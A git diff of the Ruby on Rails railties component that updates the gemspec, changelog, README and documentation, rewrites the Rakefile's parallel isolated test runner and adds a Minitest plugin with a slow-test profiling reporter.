@@ -7,16 +9,25 @@ Gem::Specification.new do |s|
   s.summary     = "Full-stack web application framework."
   s.description = "Ruby on Rails is a full-stack web framework optimized for programmer happiness and sustainable productivity. It encourages beautiful code by favoring convention over configuration."
 
-  s.required_ruby_version     = ">= 2.2.2"
+  s.required_ruby_version     = ">= 3.2.0"
   s.required_rubygems_version = ">= 1.8.11"
 
   s.license = "MIT"
 
   s.author   = "David Heinemeier Hansson"
   s.email    = "david@loudthinking.com"
-  s.homepage = "http://rubyonrails.org"
+  s.homepage = "https://rubyonrails.org"
+
+  s.files = ["README.md", "MIT-LICENSE"]
 
-  s.files = ["README.md"]
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/releases/tag/v#{version}",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}",
+    "rubygems_mfa_required" => "true",
+  }
 
   s.add_dependency "activesupport", version
   s.add_dependency "actionpack",    version
@@ -26,8 +37,10 @@ Gem::Specification.new do |s|
   s.add_dependency "actionmailer",  version
   s.add_dependency "activejob",     version
   s.add_dependency "actioncable",   version
+  s.add_dependency "activestorage", version
+  s.add_dependency "actionmailbox", version
+  s.add_dependency "actiontext",    version
   s.add_dependency "railties",      version
 
-  s.add_dependency "bundler",         ">= 1.3.0", "< 2.0"
-  s.add_dependency "sprockets-rails", ">= 2.0.0"
+  s.add_dependency "bundler", ">= 1.15.0"
 end
diff --git a/railties/.gitignore b/railties/.gitignore
index 80dd262d2fa17..17a49da08c9e5 100644
--- a/railties/.gitignore
+++ b/railties/.gitignore
@@ -1 +1,6 @@
-log/
+/log/
+/test/500.html
+/test/fixtures/tmp/
+/test/initializer/root/log/
+/test/isolation/assets/yarn.lock
+/tmp/
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
index 7aee513a9983a..6c60614008853 100644
--- a/railties/CHANGELOG.md
+++ b/railties/CHANGELOG.md
@@ -1,156 +1,73 @@
-*   Fix running multiple tests in one `rake` command
+*   Do not clean directories directly under the application root with `Rails::BacktraceCleaner`
 
-    e.g. `bin/rake test:models test:controllers`
+    Improved `Rails.backtrace_cleaner` so that most paths located directly under the application's root directory are no longer silenced.
 
-    *Dominic Cleal*
+    *alpaca-tc*
 
-*   Add option to configure Ruby's warning behaviour to test runner.
+*   Add `Rails::CodeStatistics#register_extension` to register file extensions for `rails stats`
 
-    *Yuji Yaginuma*
+    ```ruby
+    Rails::CodeStatistics.register_extension("txt")
+    ```
 
-*   Initialize git repo when generating new app, if option `--skip-git`
-    is not provided.
+    *Taketo Takashima*
 
-    *Dino Maric*
+*   Wrap console command with an executor by default
 
-*   Install Byebug gem as default in Windows (mingw and x64_mingw) platform.
+    This can be disabled with `-w` or `--skip_executor`, same as runner.
 
-    *Junichi Ito*
+    *zzak*
 
-*   Make every Rails command work within engines.
+*   Add a new internal route in development to respond to chromium devtools GET request.
 
-    *Sean Collins*, *Yuji Yaginuma*
+    This allows the app folder to be easily connected as a workspace in chromium-based browsers.
 
-*   Don't generate HTML/ERB templates for scaffold controller with `--api` flag.
+    *coorasse*
 
-    Fixes #27591.
+*   Set `config.rake_eager_load` in generated test environment to match `config.eager_load` behavior in CI.
 
-    *Prathamesh Sonpatki*
+    This ensures eager loading works consistently in CI when rake tasks invoke the `:environment` task before tests run.
 
-*   Make `Rails.env` fall back to `development` when `RAILS_ENV` and `RACK_ENV` is an empty string.
+    *Trevor Turk*
 
-    *Daniel Deng*
+*   Update the `.node-version` file conditionally generated for new applications to 22.21.1
 
-*   Remove deprecated `CONTROLLER` environment variable for `routes` task.
+    *Taketo Takashima*
 
-    *Rafael Mendonça França*
+*   Do not assume and force SSL in production by default when using Kamal, to allow for out of the box Kamal deployments.
 
-*   Remove deprecated tasks: `rails:update`, `rails:template`, `rails:template:copy`,
-    `rails:update:configs` and `rails:update:bin`.
+    It is still recommended to assume and force SSL in production as soon as you can.
 
-    *Rafael Mendonça França*
+    *Jerome Dalbert*
 
-*   Remove deprecated file `rails/rack/debugger`.
+*   Add environment config file existence check
 
-    *Rafael Mendonça França*
+    `Rails::Application` will raise an error if unable to load any environment file.
 
-*   Remove deprecated `config.serve_static_files`.
+    *Daniel Niknam*
 
-    *Rafael Mendonça França*
+*   `Rails::Application::RoutesReloader` uses the configured `Rails.application.config.file_watcher`
 
-*   Remove deprecated `config.static_cache_control`.
+    *Jan Grodowski*
 
-    *Rafael Mendonça França*
+*   Add structured event for Rails deprecations, when `config.active_support.deprecation` is set to `:notify`.
 
-*   The `log:clear` task clear all environments log files by default.
+    *zzak*
 
-    *Yuji Yaginuma*
+*   Report unhandled exceptions to the Error Reporter when running rake tasks via Rails command.
 
-*   Add Webpack support in new apps via the --webpack option, which will delegate to the rails/webpacker gem.
+    *Akimichi Tanei*
 
-    To generate a new app that has Webpack dependencies configured and binstubs for webpack and webpack-watcher:
+*   Show help hint when starting `bin/rails console`
 
-      `rails new myapp --webpack`
+    *Petrik de Heus*
 
-    To generate a new app that has Webpack + React configured and an example intalled:
+*   Persist `/rails/info/routes` search query and results between page reloads.
 
-      `rails new myapp --webpack=react`
+    *Ryan Kulp*
 
-    *DHH*
+*   Add `--update` option to the `bin/bundler-audit` script.
 
-*   Add Yarn support in new apps with a yarn binstub and vendor/package.json. Skippable via --skip-yarn option.
+    *Julien ANNE*
 
-    *Liceth Ovalles*, *Guillermo Iguaran*, *DHH*
-
-*   Removed jquery-rails from default stack, instead rails-ujs that is shipped
-    with Action View is included as default UJS adapter.
-
-    *Guillermo Iguaran*
-
-*   The config file `secrets.yml` is now loaded in with all keys as symbols.
-    This allows secrets files to contain more complex information without all
-    child keys being strings while parent keys are symbols.
-
-    *Isaac Sloan*
-
-*   Add `:skip_sprockets` to `Rails::PluginBuilder::PASSTHROUGH_OPTIONS`
-
-    *Tsukuru Tanimichi*
-
-*   Allow the use of listen's 3.1.x branch
-
-    *Esteban Santana Santana*
-
-*   Run `Minitest.after_run` hooks when running `rails test`.
-
-    *Michael Grosser*
-
-*   Run `before_configuration` callbacks as soon as application constant
-    inherits from `Rails::Application`.
-
-    Fixes #19880.
-
-    *Yuji Yaginuma*
-
-*   A generated app should not include Uglifier with `--skip-javascript` option.
-
-    *Ben Pickles*
-
-*   Set session store to cookie store internally and remove the initializer from
-    the generated app.
-
-    *Prathamesh Sonpatki*
-
-*   Set the server host using the `HOST` environment variable.
-
-    *mahnunchik*
-
-*   Add public API to register new folders for `rake notes`:
-
-        config.annotations.register_directories('spec', 'features')
-
-    *John Meehan*
-
-*   Display name of the class defining the initializer along with the initializer
-    name in the output of `rails initializers`.
-
-    Before:
-        disable_dependency_loading
-
-    After:
-        DemoApp::Application.disable_dependency_loading
-
-    *ta1kt0me*
-
-*   Do not run `bundle install` when generating a new plugin.
-
-    Since bundler 1.12.0, the gemspec is validated so the `bundle install`
-    command will fail just after the gem is created causing confusion to the
-    users. This change was a bug fix to correctly validate gemspecs.
-
-    *Rafael Mendonça França*
-
-*   Default `config.assets.quiet = true` in the development environment. Suppress
-    logging of assets requests by default.
-
-    *Kevin McPhillips*
-
-*   Ensure `/rails/info` routes match in development for apps with a catch-all globbing route.
-
-    *Nicholas Firth-McCoy*
-
-*   Added a shared section to `config/secrets.yml` that will be loaded for all environments.
-
-    *DHH*
-
-Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/railties/CHANGELOG.md) for previous changes.
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/railties/CHANGELOG.md) for previous changes.
diff --git a/railties/MIT-LICENSE b/railties/MIT-LICENSE
index f9e4444f0774c..f12cfa766c555 100644
--- a/railties/MIT-LICENSE
+++ b/railties/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2017 David Heinemeier Hansson
+Copyright (c) David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/railties/RDOC_MAIN.md b/railties/RDOC_MAIN.md
new file mode 100644
index 0000000000000..694e97cf62ca2
--- /dev/null
+++ b/railties/RDOC_MAIN.md
@@ -0,0 +1,99 @@
+# Welcome to \Rails
+
+## What's \Rails?
+
+\Rails is a web application framework that includes everything needed to
+create database-backed web applications according to the
+[Model-View-Controller (MVC)](https://en.wikipedia.org/wiki/Model-view-controller)
+pattern.
+
+Understanding the MVC pattern is key to understanding \Rails. MVC divides your
+application into three layers: Model, View, and Controller, each with a specific responsibility.
+
+## Model layer
+
+The _**Model layer**_ represents the domain model (such as Account, Product,
+Person, Post, etc.) and encapsulates the business logic specific to
+your application. In \Rails, database-backed model classes are derived from
+`ActiveRecord::Base`. [Active Record](files/activerecord/README.rdoc) allows you to present the data from
+database rows as objects and embellish these data objects with business logic
+methods.
+Although most \Rails models are backed by a database, models can also be ordinary
+Ruby classes, or Ruby classes that implement a set of interfaces as provided by
+the [Active Model](files/activemodel/README.rdoc) module.
+
+## View layer
+
+The _**View layer**_ is composed of "templates" that are responsible for providing
+appropriate representations of your application's resources. Templates can
+come in a variety of formats, but most view templates are HTML with embedded
+Ruby code (\ERB files). Views are typically rendered to generate a controller response
+or to generate the body of an email. In \Rails, View generation is handled by [Action View](files/actionview/README.rdoc).
+
+## Controller layer
+
+The _**Controller layer**_ is responsible for handling incoming HTTP requests and
+providing a suitable response. Usually, this means returning HTML, but \Rails controllers
+can also generate XML, JSON, PDFs, mobile-specific views, and more. Controllers load and
+manipulate models, and render view templates in order to generate the appropriate HTTP response.
+In \Rails, incoming requests are routed by Action Dispatch to an appropriate controller, and
+controller classes are derived from `ActionController::Base`. Action Dispatch and Action Controller
+are bundled together in [Action Pack](files/actionpack/README.rdoc).
+
+## Frameworks and libraries
+
+[Active Record](files/activerecord/README.rdoc), [Active Model](files/activemodel/README.rdoc), [Action Pack](files/actionpack/README.rdoc), and [Action View](files/actionview/README.rdoc) can each be used independently outside \Rails.
+
+In addition to that, \Rails also comes with:
+
+- [Action Mailer](files/actionmailer/README.rdoc), a library to generate and send emails
+- [Action Mailbox](files/actionmailbox/README.md), a library to receive emails within a \Rails application
+- [Active Job](files/activejob/README.md), a framework for declaring jobs and making them run on a variety of queuing backends
+- [Action Cable](files/actioncable/README.md), a framework to integrate WebSockets with a \Rails application
+- [Active Storage](files/activestorage/README.md), a library to attach cloud and local files to \Rails applications
+- [Action Text](files/actiontext/README.md), a library to handle rich text content
+- [Active Support](files/activesupport/README.rdoc), a collection of utility classes and standard library extensions that are useful for \Rails, and may also be used independently outside \Rails
+
+## Getting Started
+
+1.  Install \Rails at the command prompt if you haven't yet:
+
+        $ gem install rails
+
+2.  At the command prompt, create a new \Rails application:
+
+        $ rails new myapp
+
+    where "myapp" is the application name.
+
+3.  Change directory to `myapp` and start the web server:
+
+        $ cd myapp
+        $ bin/rails server
+
+    Run with `--help` or `-h` for options.
+
+4.  Go to `http://localhost:3000` and you'll see the \Rails bootscreen with your
+    \Rails and Ruby versions.
+
+5.  Follow the guidelines to start developing your application. You may find the
+    following resources handy:
+
+    * [Getting Started with Rails](https://guides.rubyonrails.org/getting_started.html)
+    * [Ruby on Rails Guides](https://guides.rubyonrails.org)
+    * [The API Documentation](https://api.rubyonrails.org)
+
+## Contributing
+
+We encourage you to contribute to Ruby on \Rails! Please check out the
+[Contributing to Ruby on Rails guide](https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) for guidelines about how to proceed. [Join us!](https://contributors.rubyonrails.org)
+
+Trying to report a possible security vulnerability in \Rails? Please
+check out our [security policy](https://rubyonrails.org/security) for
+guidelines about how to proceed.
+
+Everyone interacting in \Rails and its sub-projects' codebases, issue trackers, chat rooms, and mailing lists is expected to follow the \Rails [code of conduct](https://rubyonrails.org/conduct).
+
+## License
+
+Ruby on \Rails is released under the [MIT License](https://opensource.org/licenses/MIT).
diff --git a/railties/RDOC_MAIN.rdoc b/railties/RDOC_MAIN.rdoc
deleted file mode 100644
index ef9bbf3d7e3b4..0000000000000
--- a/railties/RDOC_MAIN.rdoc
+++ /dev/null
@@ -1,73 +0,0 @@
-== Welcome to \Rails
-
-\Rails is a web-application framework that includes everything needed to create
-database-backed web applications according to the {Model-View-Controller (MVC)}[http://en.wikipedia.org/wiki/Model-view-controller] pattern.
-
-Understanding the MVC pattern is key to understanding \Rails. MVC divides your application
-into three layers, each with a specific responsibility.
-
-The View layer is composed of "templates" that are responsible for providing
-appropriate representations of your application's resources. Templates
-can come in a variety of formats, but most view templates are \HTML with embedded Ruby
-code (.erb files).
-
-The Model layer represents your domain model (such as Account, Product, Person, Post)
-and encapsulates the business logic that is specific to your application. In \Rails,
-database-backed model classes are derived from ActiveRecord::Base. Active Record allows
-you to present the data from database rows as objects and embellish these data objects
-with business logic methods. Although most \Rails models are backed by a database, models
-can also be ordinary Ruby classes, or Ruby classes that implement a set of interfaces as
-provided by the ActiveModel module. You can read more about Active Record in its
-{README}[link:files/activerecord/README_rdoc.html].
-
-The Controller layer is responsible for handling incoming HTTP requests and providing a
-suitable response. Usually this means returning \HTML, but \Rails controllers can also
-generate XML, JSON, PDFs, mobile-specific views, and more. Controllers manipulate models
-and render view templates in order to generate the appropriate HTTP response.
-
-In \Rails, the Controller and View layers are handled together by Action Pack.
-These two layers are bundled in a single package due to their heavy interdependence.
-This is unlike the relationship between Active Record and Action Pack, which are
-independent. Each of these packages can be used independently outside of \Rails. You
-can read more about Action Pack in its {README}[link:files/actionpack/README_rdoc.html].
-
-== Getting Started
-
-1. Install \Rails at the command prompt if you haven't yet:
-
-    $ gem install rails
-
-2. At the command prompt, create a new \Rails application:
-
-    $ rails new myapp
-
-   where "myapp" is the application name.
-
-3. Change directory to +myapp+ and start the web server:
-
-    $ cd myapp; rails server
-
-   Run with <tt>--help</tt> or <tt>-h</tt> for options.
-
-4. Go to http://localhost:3000 and you'll see:
-
-    "Yay! You’re on Rails!"
-
-5. Follow the guidelines to start developing your application. You may find the following resources handy:
-
-* The \README file created within your application.
-* {Getting Started with \Rails}[http://guides.rubyonrails.org/getting_started.html].
-* {Ruby on \Rails Tutorial}[http://www.railstutorial.org/book].
-* {Ruby on \Rails Guides}[http://guides.rubyonrails.org].
-* {The API Documentation}[http://api.rubyonrails.org].
-
-== Contributing
-
-We encourage you to contribute to Ruby on \Rails! Please check out the {Contributing to Rails
-guide}[http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html] for guidelines about how
-to proceed. {Join us}[http://contributors.rubyonrails.org]!
-
-
-== License
-
-Ruby on \Rails is released under the {MIT License}[http://www.opensource.org/licenses/MIT].
diff --git a/railties/README.rdoc b/railties/README.rdoc
index a25658668cb9e..5e076134350cb 100644
--- a/railties/README.rdoc
+++ b/railties/README.rdoc
@@ -1,13 +1,12 @@
-= Railties -- Gluing the Engine to the Rails
+= Railties -- Gluing the Engine to the \Rails
 
 Railties is responsible for gluing all frameworks together. Overall, it:
 
-* handles the bootstrapping process for a Rails application;
+* handles the bootstrapping process for a \Rails application;
 
 * manages the +rails+ command line interface;
 
-* and provides the Rails generators core.
-
+* and provides the \Rails generators core.
 
 == Download
 
@@ -15,27 +14,26 @@ The latest version of Railties can be installed with RubyGems:
 
 * gem install railties
 
-Source code can be downloaded as part of the Rails project on GitHub
+Source code can be downloaded as part of the \Rails project on GitHub
 
-* https://github.com/rails/rails/tree/master/railties
+* https://github.com/rails/rails/tree/main/railties
 
 == License
 
 Railties is released under the MIT license:
 
-* http://www.opensource.org/licenses/MIT
+* https://opensource.org/licenses/MIT
 
 == Support
 
 API documentation is at
 
-* http://api.rubyonrails.org
+* https://api.rubyonrails.org
 
-Bug reports can be filed for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on \Rails project here:
 
 * https://github.com/rails/rails/issues
 
-Feature requests should be discussed on the rails-core mailing list here:
-
-* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+Feature requests should be discussed on the rubyonrails-core forum here:
 
+* https://discuss.rubyonrails.org/c/rubyonrails-core
diff --git a/railties/Rakefile b/railties/Rakefile
index 680ed03f7550b..9eee133e7e8b2 100644
--- a/railties/Rakefile
+++ b/railties/Rakefile
@@ -1,35 +1,173 @@
+# frozen_string_literal: true
+
+require "shellwords"
 require "rake/testtask"
 
 task default: :test
 
-task :package
+ENV["RAILS_MINITEST_PLUGIN"] = "true"
 
 desc "Run all unit tests"
 task test: "test:isolated"
 
 namespace :test do
   task :isolated do
+    estimated_duration = {
+      "test/application/test_runner_test.rb" => 179,
+      "test/application/assets_test.rb" => 20,
+      "test/application/rake/migrations_test.rb" => 90,
+      "test/generators/scaffold_generator_test.rb" => 78,
+      "test/generators/plugin_test_runner_test.rb" => 73,
+      "test/application/test_test.rb" => 25,
+      "test/application/configuration_test.rb" => 106,
+      "test/generators/app_generator_test.rb" => 150,
+      "test/application/rake/dbs_test.rb" => 300,
+      "test/application/rake/dbs_schema_test.rb" => 500,
+      "test/application/rake/dbs_setup_test.rb" => 350,
+      "test/application/rake/dbs_postgresql_test.rb" => 150,
+      "test/application/rake_test.rb" => 33,
+      "test/generators/plugin_generator_test.rb" => 37,
+      "test/railties/engine_test.rb" => 39,
+      "test/generators/scaffold_controller_generator_test.rb" => 27,
+      "test/railties/generators_test.rb" => 25,
+      "test/application/console_test.rb" => 20,
+      "test/engine/commands_test.rb" => 17,
+      "test/application/routing_test.rb" => 21,
+      "test/application/mailer_previews_test.rb" => 20,
+      "test/application/rake/multi_dbs_test.rb" => 100,
+      "test/application/asset_debugging_test.rb" => 5,
+      "test/application/bin_setup_test.rb" => 13,
+      "test/engine/test_test.rb" => 16,
+      "test/application/runner_test.rb" => 13,
+      "test/commands/routes_test.rb" => 7,
+      "test/application/initializers/i18n_test.rb" => 8,
+      "test/application/middleware/cache_test.rb" => 7,
+      "test/application/middleware_test.rb" => 10,
+      "test/generators/test_runner_in_engine_test.rb" => 7,
+      "test/application/initializers/frameworks_test.rb" => 18,
+      "test/application/middleware/exceptions_test.rb" => 12,
+      "test/application/content_security_policy_test.rb" => 5,
+    }
+    estimated_duration.default = 1
+
+    dash_i = [
+      "test",
+      "lib",
+      "../activesupport/lib",
+      "../actionpack/lib",
+      "../actionview/lib",
+      "../activemodel/lib"
+    ].map { |dir| File.expand_path(dir, __dir__) }
+
+    dash_i.reverse_each do |x|
+      $:.unshift(x) unless $:.include?(x)
+    end
+    $-w = true
+
+    require "bundler/setup" unless defined?(Bundler)
+    require "active_support"
+
+    # Only generate the template app once.
+    require_relative "test/isolation/abstract_unit"
+    require "minitest/rails_plugin"
+
+    failing_files = []
+
     dirs = (ENV["TEST_DIR"] || ENV["TEST_DIRS"] || "**").split(",")
-    test_files = dirs.map { |dir| "test/#{dir}/*_test.rb" }
-    Dir[*test_files].each do |file|
-      next true if file.include?("fixtures")
-      dash_i = [
-        "test",
-        "lib",
-        "#{File.dirname(__FILE__)}/../activesupport/lib",
-        "#{File.dirname(__FILE__)}/../actionpack/lib",
-        "#{File.dirname(__FILE__)}/../actionview/lib",
-        "#{File.dirname(__FILE__)}/../activemodel/lib"
-      ]
-      ruby "-w", "-I#{dash_i.join ':'}", file
+    test_options = ENV["TESTOPTS"].to_s.split(/[\s]+/)
+    test_options << "--profile" if ENV["BUILDKITE"]
+
+    test_patterns = dirs.map { |dir| "test/#{dir}/*_test.rb" }
+    test_files = Dir[*test_patterns].select do |file|
+      !file.start_with?("test/fixtures/") && !file.start_with?("test/isolation/assets/")
+    end
+
+    if ENV["BUILDKITE_PARALLEL_JOB_COUNT"]
+      n = ENV["BUILDKITE_PARALLEL_JOB"].to_i
+      m = ENV["BUILDKITE_PARALLEL_JOB_COUNT"].to_i
+
+      buckets = Array.new(m) { [] }
+      allocations = Array.new(m) { 0 }
+      test_files.sort_by { |file| [-estimated_duration[file], file] }.each do |file|
+        idx = allocations.index(allocations.min)
+        buckets[idx] << file
+        allocations[idx] += estimated_duration[file]
+      end
+
+      puts "Running #{buckets[n].size} of #{test_files.size} test files, estimated duration #{allocations[n]}s"
+
+      test_files = buckets[n]
+    end
+
+    output_file = Tempfile.new("railties_test_reporter")
+
+    test_files.each do |file|
+      puts "--- #{file}"
+      fake_command = Shellwords.join([
+        FileUtils::RUBY,
+        "-w",
+        *dash_i.map { |dir| "-I#{Pathname.new(dir).relative_path_from(Pathname.pwd)}" },
+        file,
+      ])
+      puts fake_command
+
+      if Process.respond_to?(:fork)
+        # We could run these in parallel, but pretty much all of the
+        # railties tests already run in parallel, so ¯\_(⊙︿⊙)_/¯
+        Process.waitpid fork {
+          ENV["RAILTIES_OUTPUT_FILE"] = output_file.path
+          ARGV.clear.concat test_options
+          Rake.application = nil
+
+          require "../tools/strict_warnings"
+          load file
+        }
+      else
+        Process.wait spawn(fake_command)
+      end
+
+      unless $?.success?
+        failing_files << file
+        puts "^^^ +++"
+      end
+    end
+
+    puts "+++ All tests completed"
+
+    if ENV["BUILDKITE"]
+      TestResult = Struct.new(:NAME, :failures, :assertions, :klass, :time, :source_location, :location)
+      profile = Minitest::ProfileReporter.new($stdout, profile: 10)
+      output_file.rewind
+      output_file.each_line do |result|
+        data = JSON.parse(result)
+        profile.results << TestResult.new(*data.values)
+      end
+
+      profile.summary
+    end
+
+    unless failing_files.empty?
+      puts "+++"
+      puts
+      puts "Failed in:"
+      failing_files.each do |file|
+        puts "  #{file}"
+      end
+      puts
+
+      exit 1
     end
+  ensure
+    output_file&.close
+    output_file&.unlink
   end
 end
 
 Rake::TestTask.new("test:regular") do |t|
-  t.libs << "test" << "#{File.dirname(__FILE__)}/../activesupport/lib"
+  t.libs << "test" << "#{__dir__}/../activesupport/lib"
   t.pattern = "test/**/*_test.rb"
-  t.warning = false
+  t.warning = true
   t.verbose = true
+  t.options = "--profile" if ENV["BUILDKITE"]
   t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
 end
diff --git a/railties/bin/test b/railties/bin/test
index a7beb14b271a3..c53377cc970f4 100755
--- a/railties/bin/test
+++ b/railties/bin/test
@@ -1,4 +1,5 @@
 #!/usr/bin/env ruby
+# frozen_string_literal: true
 
 COMPONENT_ROOT = File.expand_path("..", __dir__)
-require File.expand_path("../tools/test", COMPONENT_ROOT)
+require_relative "../../tools/test"
diff --git a/railties/exe/rails b/railties/exe/rails
index 7e791c1f9994e..79af4db6b676f 100755
--- a/railties/exe/rails
+++ b/railties/exe/rails
@@ -1,9 +1,10 @@
 #!/usr/bin/env ruby
+# frozen_string_literal: true
 
-git_path = File.expand_path("../../../.git", __FILE__)
+git_path = File.expand_path("../../.git", __dir__)
 
 if File.exist?(git_path)
-  railties_path = File.expand_path("../../lib", __FILE__)
+  railties_path = File.expand_path("../lib", __dir__)
   $:.unshift(railties_path)
 end
 require "rails/cli"
diff --git a/railties/lib/minitest/rails_plugin.rb b/railties/lib/minitest/rails_plugin.rb
new file mode 100644
index 0000000000000..abbccd132180e
--- /dev/null
+++ b/railties/lib/minitest/rails_plugin.rb
@@ -0,0 +1,183 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/attribute_accessors"
+require "rails/test_unit/reporter"
+require "rails/test_unit/runner"
+
+module Minitest
+  class BacktraceFilterWithFallback
+    def initialize(preferred, fallback)
+      @preferred = preferred
+      @fallback = fallback
+    end
+
+    def filter(backtrace)
+      filtered = @preferred.filter(backtrace)
+      filtered = @fallback.filter(backtrace) if filtered.empty?
+      filtered
+    end
+  end
+
+  class SuppressedSummaryReporter < SummaryReporter
+    # Disable extra failure output after a run if output is inline.
+    def aggregated_results(*)
+      super unless options[:output_inline]
+    end
+  end
+
+  class ProfileReporter < Reporter
+    attr_accessor :results
+
+    def initialize(io = $stdout, options = {})
+      super
+      @results = []
+      @count = options[:profile]
+    end
+
+    def record(result)
+      if output_file = ENV["RAILTIES_OUTPUT_FILE"]
+        File.open(output_file, "a") do |f|
+          # Round-trip for re-serialization
+          data = JSON.parse(result.to_json)
+          data[:location] = result.location
+          f.puts(data.to_json)
+        end
+      else
+        @results << result
+      end
+    end
+
+    def passed?
+      true
+    end
+
+    def report
+      # Skip if we're outputting to a file
+      return if ENV["RAILTIES_OUTPUT_FILE"]
+      print_summary
+    end
+
+    def summary
+      print_summary
+    end
+
+    private
+      def print_summary
+        total_time = @results.sum(&:time)
+
+        @results.sort! { |a, b| b.time <=> a.time }
+        slow_results = @results.take(@count)
+        slow_tests_total_time = slow_results.sum(&:time)
+
+        ratio = (total_time == 0) ? 0.0 : (slow_tests_total_time / total_time) * 100
+
+        io.puts("\nTop %d slowest tests (%.2f seconds, %.1f%% of total time):\n" % [slow_results.size, slow_tests_total_time, ratio])
+        slow_results.each do |result|
+          io.puts("  %s\n    %.4f seconds %s\n" % [result.location, result.time, source_location(result)])
+        end
+        io.puts("\n")
+      end
+
+      def source_location(result)
+        filename, line = result.source_location
+        return "" unless filename
+
+        pwd = Dir.pwd
+        if filename.start_with?(pwd)
+          filename = Pathname.new(filename).relative_path_from(pwd)
+        end
+        "#{filename}:#{line}"
+      end
+  end
+
+  def self.plugin_rails_options(opts, options)
+    ::Rails::TestUnit::Runner.attach_before_load_options(opts)
+
+    opts.on("-b", "--backtrace", "Show the complete backtrace") do
+      options[:full_backtrace] = true
+    end
+
+    opts.on("-d", "--defer-output", "Output test failures and errors after the test run") do
+      options[:output_inline] = false
+    end
+
+    opts.on("-f", "--fail-fast", "Abort test run on first failure or error") do
+      options[:fail_fast] = true
+    end
+
+    if Minitest::VERSION > "6" then
+      opts.on "-n", "--name PATTERN", "Include /regexp/ or string for run." do |a|
+        warn "Please switch from -n/--name to -i/--include"
+        options[:include] = a
+      end
+    end
+
+    opts.on("-c", "--[no-]color", "Enable color in the output") do |value|
+      options[:color] = value
+    end
+
+    opts.on("--profile [COUNT]", "Enable profiling of tests and list the slowest test cases (default: 10)") do |value|
+      default_count = 10
+
+      if value.nil?
+        count = default_count
+      else
+        count = Integer(value, exception: false)
+        if count.nil?
+          warn("Non integer specified as profile count, separate " \
+               "your path from options with -- e.g. " \
+               "`#{::Rails::TestUnitReporter.executable} --profile -- #{value}`")
+          count = default_count
+        end
+      end
+
+      options[:profile] = count
+    end
+
+    opts.on(/^[^-]/) do |test_file|
+      options[:test_files] ||= []
+      options[:test_files] << test_file
+    end
+
+    options[:color] = true
+    options[:output_inline] = true
+
+    opts.on do
+      if ::Rails::TestUnit::Runner.load_test_files
+        ::Rails::TestUnit::Runner.load_tests(options.fetch(:test_files, []))
+      end
+    end
+  end
+
+  # Owes great inspiration to test runner trailblazers like RSpec,
+  # minitest-reporters, maxitest, and others.
+  def self.plugin_rails_init(options)
+    # Don't mess with Minitest unless RAILS_ENV is set
+    return unless ENV["RAILS_ENV"] || ENV["RAILS_MINITEST_PLUGIN"]
+
+    unless options[:full_backtrace]
+      # Plugin can run without Rails loaded, check before filtering.
+      if ::Rails.respond_to?(:backtrace_cleaner)
+        Minitest.backtrace_filter = BacktraceFilterWithFallback.new(::Rails.backtrace_cleaner, Minitest.backtrace_filter)
+      end
+    end
+
+    # Suppress summary reports when outputting inline rerun snippets.
+    if reporter.reporters.reject! { |reporter| reporter.kind_of?(SummaryReporter) }
+      reporter << SuppressedSummaryReporter.new(options[:io], options)
+    end
+
+    # Replace progress reporter for colors.
+    if reporter.reporters.reject! { |reporter| reporter.kind_of?(ProgressReporter) }
+      reporter << ::Rails::TestUnitReporter.new(options[:io], options)
+    end
+
+    # Add slowest tests reporter at the end.
+    if options[:profile]
+      reporter << ProfileReporter.new(options[:io], options)
+    end
+  end
+
+  # Backwards compatibility with Rails 5.0 generated plugin test scripts
+  mattr_reader :run_via, default: {}
+end
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
index 00add5829d5bc..c84c1ee9cfa01 100644
--- a/railties/lib/rails.rb
+++ b/railties/lib/rails.rb
@@ -1,16 +1,16 @@
-require "rails/ruby_version_check"
+# frozen_string_literal: true
 
 require "pathname"
 
 require "active_support"
-require "active_support/dependencies/autoload"
+require "active_support/rails"
 require "active_support/core_ext/kernel/reporting"
-require "active_support/core_ext/module/delegation"
 require "active_support/core_ext/array/extract_options"
-require "active_support/core_ext/object/blank"
 
-require "rails/application"
 require "rails/version"
+require "rails/deprecator"
+require "rails/application"
+require "rails/backtrace_cleaner"
 
 require "active_support/railtie"
 require "action_dispatch/railtie"
@@ -21,13 +21,21 @@
   Encoding.default_internal = Encoding::UTF_8
 end
 
+# :include: ../README.rdoc
 module Rails
   extend ActiveSupport::Autoload
+  extend ActiveSupport::Benchmarkable
 
   autoload :Info
   autoload :InfoController
   autoload :MailersController
   autoload :WelcomeController
+  autoload :DevtoolsController
+
+  eager_autoload do
+    autoload :HealthController
+    autoload :PwaController
+  end
 
   class << self
     @application = @app_class = nil
@@ -40,20 +48,16 @@ def application
 
     delegate :initialize!, :initialized?, to: :application
 
-    # The Configuration instance used to configure the Rails environment
+    # The Configuration instance used to configure the \Rails environment
     def configuration
       application.config
     end
 
     def backtrace_cleaner
-      @backtrace_cleaner ||= begin
-        # Relies on Active Support, so we have to lazy load to postpone definition until Active Support has been loaded
-        require "rails/backtrace_cleaner"
-        Rails::BacktraceCleaner.new
-      end
+      @backtrace_cleaner ||= Rails::BacktraceCleaner.new
     end
 
-    # Returns a Pathname object of the current Rails project,
+    # Returns a Pathname object of the current \Rails project,
     # otherwise it returns +nil+ if there is no project:
     #
     #   Rails.root
@@ -62,33 +66,51 @@ def root
       application && application.config.root
     end
 
-    # Returns the current Rails environment.
+    # Returns the current \Rails environment.
     #
     #   Rails.env # => "development"
     #   Rails.env.development? # => true
     #   Rails.env.production? # => false
+    #   Rails.env.local? # => true              true for "development" and "test", false for anything else
     def env
